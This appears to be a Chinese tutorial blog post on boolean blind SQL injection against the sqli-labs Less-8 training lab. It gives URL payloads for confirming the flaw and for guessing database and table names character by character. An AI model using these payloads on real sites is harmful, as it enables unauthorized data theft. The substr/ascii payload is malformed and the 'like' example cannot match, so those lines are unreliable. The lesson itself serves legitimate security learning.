美文网首页
一步一步学习 Web 安全 2.6 布尔盲注

一步一步学习 Web 安全 2.6 布尔盲注

作者: f1a94e9a1ea7 | 来源:发表于2020-05-22 21:53 被阅读0次

    盲注

    盲注表示存在 SQL 注入,但是页面只有正常显示和不显示两种,不会像之前直接显示错误或者数据在页面上。

    盲注有三种:

    1. 布尔盲注
    2. 延时盲注
    3. DNSlog 注入

    布尔盲注

    这一节学习的是布尔盲注:在可以注入的页面,构造判断语句,如果页面正常显示,表示判断是正确的,如果页面非正常显示,表示判断是错误的。

    常用方法

    • left(a, b):从 a 字符串的左侧截取 b 个字符
    • regexp 操作符
    • like 操作符
    • substr(a, b, c):从 b 位置开始,截取 a 字符的 c 长度
    • ascii():将字符转换为 ascii 值

    练习

    打开 sqli-labs 的 less-8:

    1. 注入判断
      url 后输入 id:?/id=1,页面返回:you are in
      输入:?id=1',页面没有返回
      输入:?id=1' and '1'='1,页面返回:you are in
      输入:?id=1' and '1'='2,页面没有返回
      至此基本可以判断页面存在 SQL 注入漏洞,而且页面没有报错信息,但是会根据语句正确与否页面会有不同的反馈,所以可以用盲注。

    2. 使用布尔盲注测试

    • 猜测库名:
      输入:?id=1' and left((select database()), 1) = 'a' --+,如果页面没有返回信息,把 a 替换成其他字母,直到页面上返回 you are in,表示库名第一个字符就是那个字母,然后依次这样猜出其他字符
    • 当前库的第一张表的第一个字符:
      输入:?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 0, 1), 1)='a' --+,依旧把 a 替换成字母进行猜测,其他查询语句也是依次类推就不写了
    1. 其他关键字和方法
    • regexp:
      ?id=1' and left((select database()), 1) regexp '^a' --+
    • like:
      ?id=1' and left((select database()), 1) like 'users%' --+
    • substr 和 ascii:
      ?id=1' and ascii(substr database()), 1, 1))=115 --+

    盲注如果使用手工注入的话非常繁琐,如果有兴趣的话可以自己先学习一下如何使用工具进行盲注。

    上一节:一步一步学习 Web 安全 2.5 之报错注入
    下一节:一步一步学习 Web 安全 2.7 之时间盲注

    相关文章

      网友评论

          本文标题:一步一步学习 Web 安全 2.6 布尔盲注

          本文链接:https://www.haomeiwen.com/subject/yszqahtx.html